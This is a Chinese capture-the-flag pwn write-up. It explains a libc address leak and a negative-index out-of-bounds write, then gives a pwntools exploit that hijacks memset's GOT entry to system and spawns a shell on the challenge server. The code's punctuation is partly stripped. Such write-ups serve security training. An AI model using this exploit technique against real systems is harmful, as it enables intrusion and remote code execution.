题目分析checksec反编译发现fun函数可以泄露一次地址那么直接利用该函数泄露puts的got地址进一步拿到libcbase然后发现edite函数中 v1是有符号的整数 存在负数下标越界访问漏洞 read函数可以修改覆盖数据接下来看看哪里有覆盖修改的价值漏洞利用思路发现了delete函数中memset函数有极大利用价值可以通过edite函数数组下标越界将memset.got.plt改为memset.got.plt实现GOT劫持通过add函数将内容写为‘bin\sh’然后再通过delete函数调用memset函数时实现system(‘bin\sh’)拿到shell解题过程根据思路先找memset.got.pltedite函数写入的起始地址是read函数写入地址是即起始地址offsetbase8*(6 * v1 2) 0x4040e0 0x30 * v1 0x10 0x4040f0 0x30 * v1 根据计算 如果v1代入-4得 写入地址为0x404030难题都已解决 可以构造完整payload了EXPfrom pwn import * context(arch amd64,os linux,log_level debug) try: io remote(nc1.ctfplus.cn, 39970) libc ELF(./libc.so.6) except: io process(./pwn) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) elf ELF(./pwn) io.recvuntil(bYour chioce:) io.sendline(b5) io.recvuntil(bPlease input an address.(such as 0xffff)\n) puts_got elf.got[puts] log.success(fputs_got {hex(puts_got)}) io.sendline(hex(puts_got).encode()) io.recvuntil(bmassege:) puts_addr u64(io.recv(8)) libc_base puts_addr -libc.sym[puts] system_addr libc_base libc.sym[system] printf_addr libc_base libc.sym[printf] binsh libc_base next(libc.search(b/bin/sh)) log.success(fputs_addr {hex(puts_addr)}) log.success(flibc_base {hex(libc_base)}) log.success(fsystem_addr {hex(system_addr)}) log.success(fbinsh {hex(binsh)}) io.recvuntil(bYour chioce:) io.sendline(b4) io.recvuntil(bIndex: ) io.sendline(b-4) io.recvuntil(bmessage:) io.send(ba*8 p64(printf_addr) p64(system_addr)) io.recvuntil(bYour chioce:) io.sendline(b1) io.recvuntil(bYour name:) io.send(b/bin/sh\x00) io.recvuntil(bIntroduce:\n) io.sendline(bA) io.recvuntil(bYour chioce:) io.sendline(b3) io.recvuntil(bIndex: ) io.sendline(b0) io.interactive() ​